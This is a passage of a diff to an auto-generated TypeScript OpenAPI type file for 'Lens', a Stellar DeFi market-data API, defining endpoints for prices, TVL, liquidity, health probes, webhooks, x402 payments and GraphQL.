components["responses"]["TooManyRequests"]; - /** @description Correlation computation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - listDiscoveryResources: { - parameters: { - query?: { - type?: "http" | "mcp"; - payTo?: string; - /** @description Catalog filter matching the resource's payment network. Accepts either the Lens network name (`mainnet`/`testnet`) or the CAIP-2 id (`stellar:pubnet`/`stellar:testnet`). */ - network?: string; - /** @description Filter to resources declaring this extension (e.g. `bazaar`). */ - extensions?: string; - limit?: number; - offset?: number; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Paginated catalog page */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["DiscoveryResponse"]; - }; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - searchDiscoveryResources: { - parameters: { - query: { - q: string; - limit?: number; - cursor?: string; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Search results with relevance ranking and metadata quality */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": Record; - }; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - createWebhook: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody: { - content: { - "application/json": { - /** - * Format: uri - * @description HTTPS endpoint to deliver events to. - */ - url: string; - /** @example XLM */ - assetA: string; - /** @example USDC */ - assetB: string; - threshold: number; - /** @enum {string} */ - direction: "above" | "below"; - }; - }; - }; - responses: { - /** @description Webhook created */ - 201: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["WebhookCreatedResponse"]; - }; - }; - /** @description Invalid webhook definition */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - deleteWebhook: { - parameters: { - query?: never; - header?: never; - path: { - id: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Webhook deleted (idempotent — a missing id also returns 204) */ - 204: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getMyUsage: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Usage summary for the authenticated key */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["UsageResponse"]; - }; - }; - /** @description Missing or invalid API key */ - 401: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getCallerUsage: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Usage summary for the authenticated key */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["UsageResponse"]; - }; - }; - /** @description Missing or invalid API key */ - 401: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getSupported: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Supported payment kinds and extensions */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["SupportedResponse"]; - }; - }; - }; - }; - verifyPayment: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody: { - content: { - "application/json": components["schemas"]["VerifyRequest"]; - }; - }; - responses: { - /** @description Verification result */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["VerifyResponse"]; - }; - }; - /** @description Malformed request or invalid payment */ - 400: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["VerifyResponse"]; - }; - }; - /** @description Internal verification error */ - 500: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["VerifyResponse"]; - }; - }; - }; - }; - settlePayment: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody: { - content: { - "application/json": components["schemas"]["SettleRequest"]; - }; - }; - responses: { - /** @description Settlement result */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["SettleResponse"]; - }; - }; - /** @description Malformed payload */ - 400: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["SettleResponse"]; - }; - }; - }; - }; - graphqlGet: { - parameters: { - query: { - query: string; - /** @description JSON-encoded variables object. */ - variables?: string; - operationName?: string; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description GraphQL result */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["GraphQlResponse"]; - }; - }; - }; - }; - graphqlPost: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody: { - content: { - "application/json": { - query: string; - variables?: Record; - operationName?: string; - }; - }; - }; - responses: { - /** @description GraphQL result */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["GraphQlResponse"]; - }; - }; - 402: components["responses"]["PaymentRequired"]; - }; - }; -} +/** + * This file was auto-generated by openapi-typescript. + * Do not make direct changes to the file. + */ + +export interface paths { + "/venues/registry": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * List registered venues and their network liveness + * @description Returns each registered venue adapter for the selected network. Liveness is based on recent price writes where available; on-demand adapters without persisted price points report unknown. + */ + get: operations["getVenueRegistry"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/live": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Liveness probe + * @description Reports whether this process is wedged and needs to be restarted. It checks no dependencies by design: a process that cannot reach Postgres is still healthy and should keep running, so failing liveness during a database outage would restart every instance at once. Use `/ready` to decide whether to send traffic. + */ + get: operations["getLive"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/tvl": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Total Value Locked across Stellar DeFi venues + * @description Aggregates Total Value Locked (TVL) in USD across Stellar Classic AMM, Soroswap, and Aquarius. Reports totals, breakdown by venue, breakdown by asset with valuation sources named, and marks pools with unpriceable assets as unpriced rather than zero. Querying `?history=true` returns historical hourly TVL samples. + */ + get: operations["getTvl"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/ready": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Readiness probe + * @description Reports whether this process should receive traffic yet. Unhealthy until the boot sequence finishes — the server starts listening before the ingesters and background workers are running — and while Postgres is unreachable or unmigrated, or Redis is unreachable when Redis is part of readiness (`READINESS_REDIS_CHECK`, default true). + * A probe timeout is reported as `down`, and answers are cached briefly, so this is cheap to poll every few seconds. `/live` stays healthy throughout: a starting instance should be held out of rotation, not killed. + */ + get: operations["getReady"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/status": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get API status and indexer state */ + get: operations["getStatus"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/snapshot": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Whole-network snapshot (venues, TVL, 24h volume, top pairs, pegs, freshness) + * @description A single timestamped summary of one network: every venue's liveness, AMM pool reserves (TVL), 24h traded volume, the busiest pairs, stablecoin peg readings and how fresh the underlying data is. All figures are read in one consistent database statement, so `asOf` is a real instant and every age is measured from it. Missing data is reported as `null` with a reason (or an empty list), never invented — a cross-pair volume total is only returned when the pairs share one unit. Responses are cached briefly per network; `cache.ageSeconds` states the age of a served copy. + */ + get: operations["getSnapshot"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get aggregated price for a pair */ + get: operations["getPrice"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/{assetA}/{assetB}/route": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get best swap route for a pair and amount */ + get: operations["getBestRoute"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/{asset}/fiat": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Convert asset price to fiat currency with NGN support (#290) */ + get: operations["getFiatPrice"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/{assetA}/{assetB}/history": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get price history buckets */ + get: operations["getPriceHistory"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/pools": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get AMM liquidity pool reserves and spot prices */ + get: operations["getPools"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/candles/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get OHLCV candle data */ + get: operations["getCandles"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/prices/history": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get historical 1-minute price snapshots + * @description Returns minute-resolution price snapshots for a pair over [from, to], optionally aggregated into 5m or 1h buckets. Snapshots are retained for ~30 days. Gated by x402 (matches the /price prefix). + */ + get: operations["getPriceSnapshots"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/pairs": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** List all active trading pairs */ + get: operations["listPairs"]; + put?: never; + /** Add a new trading pair (Admin only) */ + post: operations["addPair"]; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/{assetA}/{assetB}/depth": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get order-book depth and execution slippage for a pair + * @description Simulates an order of `amount` units of assetA and returns the price ladder plus the execution price and slippage versus the spot price. + */ + get: operations["getDepth"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/book/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get the aggregated SDEX and AMM price ladder for a pair + * @description Returns asks and bids as cumulative assetA size at each price. Live SDEX levels are reported as observed; AMM levels are synthetic, fee-adjusted reserve steps. `depth` is a fractional price distance around spot (default 0.1), and `step` is the fraction of each AMM reserve used per synthetic level (default 0.01). Per-venue sample counts, observation times, ages and availability are included. + */ + get: operations["getBook"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/impact/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get an adaptive slippage impact curve for a pair + * @description Returns slippage at standard trade sizes, an additional liquidity-sized point, and the size at which configured slippage thresholds are crossed. A thin pair returns `insufficient_liquidity` instead of a fabricated 100% slippage result. + */ + get: operations["getImpact"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/twap/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get a manipulation-resistant time-weighted average price */ + get: operations["getTwap"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/price/vwap/{assetA}/{assetB}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get a volume-weighted average price */ + get: operations["getVwap"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/volumes/{asset}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get cross-venue traded volume for an asset + * @description Sums traded volume for `asset` across every pair and venue it appears in, measured in the asset's own units, with a per-venue breakdown and trade-size statistics. `volumeConcentration` is the Herfindahl-Hirschman Index (HHI), calculated as the sum of squared per-trade volume shares across the selected venues and window; it ranges from 0 to 1, with 1 meaning all volume came from one trade. A missing statistic is `null` when there are no trades or no positive volume. Provenance reports the venues, positive-volume trade count, observed sample count, most recent trade timestamp and its age at `endTime`. + */ + get: operations["getVolumes"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/spreads/{asset}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get the tightest per-venue bid/ask spread for an asset + * @description Reports, for every (venue, pair) that quoted `asset` inside the window, the observed low, high and spread in basis points, tightest first. The spread is the dispersion of recent prints, not a resting order book's top-of-book gap. + */ + get: operations["getSpreads"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/rates/{asset}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get supply and borrow rates for an asset across lending venues + * @description Answers what `asset` earns when supplied and costs to borrow at every lending venue Lens ingests, one entry per venue sorted best-first (highest supply rate first). Each entry names the venue, the source it was read from and the specific pool/market it came from, so a rate is always attributable and venues are never silently averaged. + * An asset with no lending market returns an empty `venues` list with a 200, not a 404. + */ + get: operations["getLendingRates"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/compare/{asset}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Compare Lens prices with every configured external oracle + * @description Returns 200 even when both Lens and all configured oracles have no data for the asset. The `status` field distinguishes "no_data" from "aligned", "minor_deviation", "major_deviation" and "partial" (one source only). The response includes both the legacy `reflector` field for backward compatibility and an `oracles` array listing every configured source. + */ + get: operations["compareAsset"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/screener": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Screen pairs by volume, change, liquidity and price */ + get: operations["screenPairs"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/movers": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Get biggest gainers, biggest losers, and volume movers + * @description Returns the top gainers, losers, and volume movers for the specified lookback window, annotated with venue provenance, sample counts, and single-venue move labelling. + */ + get: operations["getMovers"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/benchmark/{asset}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get peg-deviation statistics for an asset against a target */ + get: operations["getBenchmark"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/basket": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** + * Compute the weighted price of a basket of assets + * @description Returns 200 even when one or more assets have no price data. The response body will contain an `error` field listing the missing assets and `reason: "missing_price_data"` rather than computing a partial basket price. A 404 would imply the assets themselves are invalid. + */ + get: operations["getBasket"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/correlation": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Compute price correlation matrix across a basket of assets over a window */ + get: operations["getCorrelation"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/discovery/resources": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Browse the x402 Bazaar catalog of discoverable resources */ + get: operations["listDiscoveryResources"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/discovery/search": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Natural language search with ranking and quality evaluation for discoverable resources */ + get: operations["searchDiscoveryResources"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/webhooks": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + get?: never; + put?: never; + /** + * Subscribe to a price-threshold webhook + * @description Registers an HTTPS endpoint to be called when the pair's price crosses `threshold` in the given `direction`. The response contains the signing secret exactly once. + */ + post: operations["createWebhook"]; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/webhooks/{id}": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + get?: never; + put?: never; + post?: never; + /** Delete a webhook subscription */ + delete: operations["deleteWebhook"]; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/usage/me": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get usage and quota for the calling API key */ + get: operations["getMyUsage"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/usage": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Get usage and quota for the calling API key (alias for /usage/me) */ + get: operations["getCallerUsage"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/supported": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** List the payment kinds and extensions this facilitator supports */ + get: operations["getSupported"]; + put?: never; + post?: never; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/verify": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + get?: never; + put?: never; + /** Verify an x402 payment payload */ + post: operations["verifyPayment"]; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/settle": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + get?: never; + put?: never; + /** + * Settle an x402 payment (idempotent) + * @description Submits the payment transaction and records the attempt keyed on its transaction hash. Retrying the same payload replays the stored answer instead of paying twice. + */ + post: operations["settlePayment"]; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; + "/graphql": { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + /** Execute a GraphQL query over HTTP GET */ + get: operations["graphqlGet"]; + put?: never; + /** Execute a GraphQL query, mutation or subscription handshake */ + post: operations["graphqlPost"]; + delete?: never; + options?: never; + head?: never; + patch?: never; + trace?: never; + }; +} +export type webhooks = Record; +export interface components { + schemas: { + InternalErrorResponse: { + /** + * @example internal_error + * @enum {string} + */ + code: "internal_error"; + /** @example An internal server error occurred. */ + message: string; + /** @example 9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d */ + correlationId: string; + }; + /** @description Result of one dependency probe. `reason` is a fixed phrase, never the raw error: connection errors carry the host and port and this is a public endpoint. */ + DependencyCheck: { + /** @enum {string} */ + status: "up" | "down" | "skipped"; + /** @description Round-trip time of the probe. */ + latencyMs: number; + /** @example unreachable or not migrated */ + reason: string | null; + }; + /** @description Readiness of one instance. Identical on 200 and 503; `ok` and the HTTP status together say whether traffic should be routed here. */ + ReadinessReport: { + /** @description True only when boot finished and every checked dependency is up. */ + ok: boolean; + /** @description False while the boot sequence is still running. */ + booted: boolean; + checks: { + postgres: components["schemas"]["DependencyCheck"]; + redis: components["schemas"]["DependencyCheck"]; + }; + /** + * Format: date-time + * @description When the underlying probes ran (answers may be briefly cached). + */ + checkedAt: string; + }; + Asset: { + code?: string; + issuer?: string | null; + }; + /** @description A Stellar asset. The issuer is kept because a code such as USDC names a different asset per issuer; `issuer` is null only for the native asset. */ + SnapshotAsset: { + code?: string; + issuer?: string | null; + }; + SnapshotVenue: { + name?: string; + source?: string; + /** @enum {string} */ + type?: "orderbook" | "amm" | "unknown"; + enabled?: boolean | null; + /** @enum {string} */ + status?: "reporting" | "stale" | "silent" | "disabled"; + samples?: number; + samples24h?: number; + pairs24h?: number; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + }; + SnapshotPool: { + poolId?: string; + pairKey?: string | null; + assetA?: components["schemas"]["SnapshotAsset"]; + assetB?: components["schemas"]["SnapshotAsset"]; + reserveA?: number | null; + reserveB?: number | null; + spotPrice?: number | null; + feeBp?: number | null; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + }; + SnapshotVolume: { + value?: number | null; + unit?: components["schemas"]["SnapshotAsset"] | null; + reason?: string | null; + }; + SnapshotTopPair: { + pairKey?: string; + /** @description Whether the pair is in this network's watched-pair config. When false the asset order (and therefore the price direction) is taken from the alphabetically-sorted pair key. */ + configured?: boolean; + assetA?: components["schemas"]["SnapshotAsset"] | null; + assetB?: components["schemas"]["SnapshotAsset"] | null; + /** @description Stored as assetB-per-assetA in the config's order. */ + price?: number | null; + baseVolume24h?: number; + counterVolume24h?: number; + samples24h?: number; + venues?: string[]; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + }; + SnapshotPeg: { + asset?: components["schemas"]["SnapshotAsset"]; + target?: string; + pairKey?: string; + quote?: components["schemas"]["SnapshotAsset"] | null; + /** @description The pegged asset's price in its quote asset. */ + price?: number | null; + deviationBp?: number | null; + /** @enum {string} */ + status?: "on_peg" | "off_peg" | "no_reference" | "no_data"; + reason?: string | null; + samples24h?: number; + /** Format: date-time */ + lastUpdated?: string | null; + }; + SnapshotResponse: { + /** @enum {string} */ + network?: "testnet" | "mainnet"; + /** + * Format: date-time + * @description The single instant (from one database statement) every window and age is measured from. + */ + asOf?: string; + /** Format: date-time */ + generatedAt?: string; + /** @enum {string} */ + window?: "24h"; + cache?: { + ttlSeconds?: number; + maxAgeSeconds?: number; + hit?: boolean; + /** Format: date-time */ + storedAt?: string; + ageSeconds?: number | null; + }; + venues?: components["schemas"]["SnapshotVenue"][]; + tvl?: { + note?: string; + poolCount?: number; + sampleCount?: number; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + stale?: boolean; + byAsset?: { + asset?: components["schemas"]["SnapshotAsset"]; + amount?: number; + pools?: number; + }[]; + pools?: components["schemas"]["SnapshotPool"][]; + }; + volume24h?: { + /** @enum {string} */ + window?: "24h"; + sampleCount?: number; + byVenue?: { + venue?: string; + baseVolume?: number; + counterVolume?: number; + samples?: number; + pairs?: number; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + }[]; + total?: components["schemas"]["SnapshotVolume"]; + }; + topPairs?: components["schemas"]["SnapshotTopPair"][]; + pegs?: components["schemas"]["SnapshotPeg"][]; + freshness?: { + /** Format: date-time */ + asOf?: string; + /** Format: date-time */ + windowStart?: string; + /** Format: date-time */ + windowEnd?: string; + /** Format: date-time */ + lastUpdated?: string | null; + ageSeconds?: number | null; + staleAfterSeconds?: number; + stale?: boolean; + venuesReporting?: number; + venuesExpected?: number; + venuesSilent?: number; + }; + }; + AggregatedPrice: { + assetA?: string; + assetB?: string; + pairKey?: string; + price?: number | string; + sdexPrice?: number | string; + ammPrice?: number | string; + /** @enum {string} */ + bestRoute?: "SDEX" | "AMM" | "SPLIT" | "UNKNOWN"; + volume24h?: number | string; + sdexVolume24h?: number | string; + ammVolume24h?: number | string; + vwap1m?: number | string; + vwap5m?: number | string; + vwap1h?: number | string; + vwap24h?: number | string; + priceChange24h?: number | string; + /** Format: date-time */ + lastUpdated?: string; + sources?: number; + /** @enum {string} */ + confidence?: "high" | "medium" | "low" | "unknown"; + lastTradeAgeSeconds?: number | null; + }; + RouteHop: { + assetIn: components["schemas"]["Asset"]; + assetOut: components["schemas"]["Asset"]; + /** @enum {string} */ + venue: "SDEX" | "AMM"; + poolId?: string; + inputAmount: number; + outputAmount: number; + price: number; + spotPrice: number; + slippagePct: number; + }; + RouteOption: { + hops: components["schemas"]["RouteHop"][]; + hopCount: number; + estimatedOutput: number; + effectivePrice: number; + slippagePct: number; + }; + RouteComparison: { + direct: { + /** @enum {string} */ + route: "SDEX" | "AMM" | "SPLIT" | "UNKNOWN"; + sdexPrice: number; + ammPrice: number; + estimatedOutput: number; + slippagePct: number; + }; + multiHop: components["schemas"]["RouteOption"] | null; + }; + RouteProvenance: { + /** Format: date-time */ + sampledAt: string; + network: string; + venuesQueried: string[]; + sampleCount: number; + freshnessSeconds: number | null; + }; + RouteInfo: { + /** @enum {string} */ + route: "SDEX" | "AMM" | "SPLIT" | "MULTI_HOP" | "UNKNOWN"; + sdexPrice: number | string; + ammPrice: number | string; + estimatedOutput: number | string; + slippagePct: number | string; + recommendation: string; + /** @enum {string} */ + network?: "testnet" | "mainnet"; + hops?: components["schemas"]["RouteHop"][]; + comparison?: components["schemas"]["RouteComparison"]; + provenance?: components["schemas"]["RouteProvenance"]; + }; + PriceBucket: { + /** Format: date-time */ + bucket?: string; + window?: string; + vwap?: number | string; + sdexVwap?: (number | string) | null; + ammVwap?: (number | string) | null; + volume?: number | string; + tradeCount?: number; + open?: (number | string) | null; + close?: (number | string) | null; + high?: (number | string) | null; + low?: (number | string) | null; + }; + PriceLevel: { + price: number | string; + size: number | string; + }; + DepthResponse: { + assetA: string; + assetB: string; + pairKey: string; + spotPrice: number | string; + executionPrice: number | string; + slippagePct: number | string; + asks: components["schemas"]["PriceLevel"][]; + bids: components["schemas"]["PriceLevel"][]; + /** @enum {string} */ + source: "AMM" | "SDEX" | "BOTH"; + }; + BookLevel: { + /** @description Quote-asset units per base-asset unit. */ + price: number | string; + /** @description Base-asset size at this level. */ + size: number | string; + /** @description Base-asset size from the best price through this level, independently for asks and bids. */ + cumulativeSize: number | string; + /** @description SDEX for order-book levels or AMM:{poolId} for each contributing pool. */ + venues: string[]; + /** @description True for reserve-derived AMM steps; false for observed SDEX book levels. */ + synthetic: boolean; + /** @description Number of source levels combined at this price. */ + sampleCount: number; + }; + BookSource: { + venue: string; + /** @enum {string} */ + status: "available" | "no_liquidity" | "unavailable"; + /** @description SDEX book levels returned, or latest AMM pool snapshots used. */ + sampleCount: number; + /** Format: date-time */ + observedAt: string | null; + dataAgeSeconds: number | null; + /** @description True when the SDEX response reached the 200-level per-side request limit. */ + truncated: boolean; + }; + BookResponse: { + assetA: string; + assetB: string; + pairKey: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + spotPrice: number | null; + /** @enum {string|null} */ + spotSource: "SDEX_MID" | "SDEX_ASK" | "SDEX_BID" | "AMM_RESERVES" | null; + depth: number; + step: number; + /** @enum {string} */ + status: "ok" | "partial" | "no_liquidity" | "no_levels_in_range" | "unavailable"; + asks: components["schemas"]["BookLevel"][]; + bids: components["schemas"]["BookLevel"][]; + provenance: { + /** Format: date-time */ + sampledAt: string; + sampleCount: number; + venues: components["schemas"]["BookSource"][]; + }; + }; + ImpactResponse: { + assetA: string; + assetB: string; + pairKey: string; + /** @enum {string} */ + status: "ok" | "insufficient_liquidity"; + spotPrice: number; + availableLiquidity: number; + smallestSize: number; + ladder: { + size: number; + output: number; + executionPrice: number; + slippagePct: number; + }[]; + thresholds: { + thresholdPct: number; + crossed: boolean; + size: number | null; + }[]; + /** @enum {string} */ + source: "AMM"; + }; + TwapResponse: { + assetA: string; + assetB: string; + pairKey: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + twap: number | string; + windowMinutes: number; + sampleIntervalSeconds: number; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + sampleCount: number; + outlierRejected: number; + /** @enum {string} */ + filterMethod: "iqr" | "modified_zscore"; + }; + VwapResponse: { + assetA: string; + assetB: string; + pairKey: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + vwap: number | string; + windowMinutes: number; + source: string; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + sampleCount: number; + volumeTotal: number | string; + outlierRejected: number; + /** @enum {string} */ + filterMethod: "iqr" | "modified_zscore"; + }; + VolumeResponse: { + asset: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + /** @enum {string} */ + window: "24h" | "7d" | "30d"; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + totalVolume: number; + byVenue: { + [key: string]: number; + }; + venues: string[]; + /** @description Number of positive-volume price point samples in the selected window. */ + tradeCount: number; + /** @description Median per-sample volume measured in the requested asset's units. */ + medianTradeSize: number | null; + /** @description Largest single sample's share of total volume, from 0 to 1. */ + topTradeVolumeShare: number | null; + /** @description HHI, the sum of squared per-sample volume shares; 1 is fully concentrated in one sample. */ + volumeConcentration: number | null; + /** @enum {string} */ + concentrationMeasure: "hhi"; + /** @enum {string} */ + status: "ok" | "no_trades" | "no_positive_volume"; + provenance: { + venues: string[]; + /** @description Positive-volume samples used to calculate trade-size statistics. */ + sampleCount: number; + /** @description All matching price point samples observed in the window, including zero-volume samples. */ + observedSampleCount: number; + /** Format: date-time */ + latestTradeAt: string | null; + dataAgeSeconds: number | null; + }; + }; + SpreadVenue: { + venue: string; + pairKey: string; + bid: number; + ask: number; + mid: number; + spreadBps: number; + observations: number; + /** Format: date-time */ + lastSeen: string; + }; + SpreadResponse: { + asset: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + /** @enum {string} */ + window: "5m" | "15m" | "1h" | "24h"; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + venues: components["schemas"]["SpreadVenue"][]; + tightest: 